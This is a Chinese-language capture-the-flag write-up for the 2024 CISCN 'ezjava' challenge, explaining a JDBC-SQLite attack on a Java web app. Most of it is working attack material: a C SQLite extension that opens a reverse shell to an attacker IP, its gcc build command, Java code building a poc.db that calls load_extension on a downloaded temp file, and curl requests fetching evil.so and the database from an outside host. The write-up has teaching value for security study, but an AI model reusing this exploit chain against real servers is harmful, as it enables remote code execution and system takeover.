2024CISCN初赛

ezjava

JDBC-Attack-SQLite加载恶意so文件

image-20240525171429854

分析JdbcController,com.example.jdbctest.controller.JdbcController#connect

1
2
3
4
5
6
7
8
9
10
@RequestMapping({"/connect"})
@ResponseBody
public ResultBean connect(@RequestBody JdbcBean jdbcBean) {
try {
return new ResultBean(1, String.join(",", this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean)));
} catch (Exception var3) {
return new ResultBean(0, "连接失败");
}
}

实例化连接测试,跟进com.example.jdbctest.services.datasourceServiceImpl#testDatasourceConnectionAble

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public String[] testDatasourceConnectionAble(JdbcBean jdbcBean) throws ClassNotFoundException, SQLException {
DatasourceLoadConfig var10000 = this.datasourceLoadConfig;
Map<String, String> config = DatasourceLoadConfig.getConfig();
switch (jdbcBean.getType()) {
case 1:
Class.forName((String)config.get("JDBC-MYSQL"));
MysqlDatasourceConnector mysqlDatasourceConnector = new MysqlDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
if (jdbcBean.getTableName() != null) {
return mysqlDatasourceConnector.getTableContent(jdbcBean.getTableName());
}

return mysqlDatasourceConnector.getTables();
case 2:
Class.forName((String)config.get("JDBC-POSTGRES"));
PostgresDatasourceConnector postgresDatasourceConnector = new PostgresDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));
if (jdbcBean.getTableName() != null) {
return postgresDatasourceConnector.getTableContent(jdbcBean.getTableName());
}

return postgresDatasourceConnector.getTables();
case 3:
SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl());
if (jdbcBean.getTableName() != null) {
return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName());
}

return sqliteDatasourceConnector.getTables();
case 4:
Class.forName((String)config.get("JDBC-SQLITE"));
return new String[]{""};
default:
return new String[]{""};
}
}

根据sqliteDatasourceConnector.getTableContent,跟进到com.example.jdbctest.services.DatasourceServiceImpl#getTableContent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public String[] getTableContent(String tableName) {
String sql = "select * from " + tableName;

try {
// 创建了一个Statement对象,Statement是JDBC API中用于执行SQL语句和查询数据库的一个类
Statement statement = this.connection.createStatement();
Throwable var4 = null;

try {
// 执行SQL查询
ResultSet resultSet = statement.executeQuery(sql);
Throwable var6 = null;

// ...
} // catch
// ...
} // catch

return new String[0];
}

思路:利用JDBC-Attack-SQLite加载恶意so文件

sqlite-jdbc-3.8.9.jar库中org.sqlite.core.CoreConnection#extractResource

image-20240525215445968

这个方法从URL连接获取数据库内容,生成在/tmp/sqlite-jdbc-tmp-*.db,根据resourceAddr.hashCode()知道生成文件名的方式

1
System.out.println(new URL("http://ip/evil.so").hashCode());

恶意文件生成 c -> so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <sqlite3ext.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

int tcp_port = 7777;
char *ip = "ip";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(sqlite3 *db,char **pzErrMsg,const sqlite3_api_routines *pApi){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}

return rc;
}

编译成so文件

1
gcc -g -fPIC -shared evil.c -o evil.so

然后需要执行CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-*.db'));去加载恶意的so文件

生成db文件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.jdbctest;

import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;

public class Filedb {
public static void main(String[] args) {

try {
String dbFile = "E:/poc.db";
File file = new File(dbFile);
Class.forName("org.sqlite.JDBC");
Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
System.out.println("Opened database successfully");

String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-*.db'));";

PreparedStatement preStmt = conn.prepareStatement(sql);

preStmt.executeUpdate();
preStmt.close();
conn.close();

} catch (Exception e) {
e.printStackTrace();
}

}
}

开启监听,curl发包

1
2
3
curl --header "Content-Type: application/json"  --request POST  --data '{"type": 3,"url": "jdbc:sqlite::resource:http://ip/evil.so"}' http://ip/jdbc/connect

curl --header "Content-Type: application/json" --request POST --data '{"type": 3,"url": "jdbc:sqlite::resource:http://ip/poc.db","tableName": "security"}' http://ip/jdbc/connect
2024-06-20

⬆︎TOP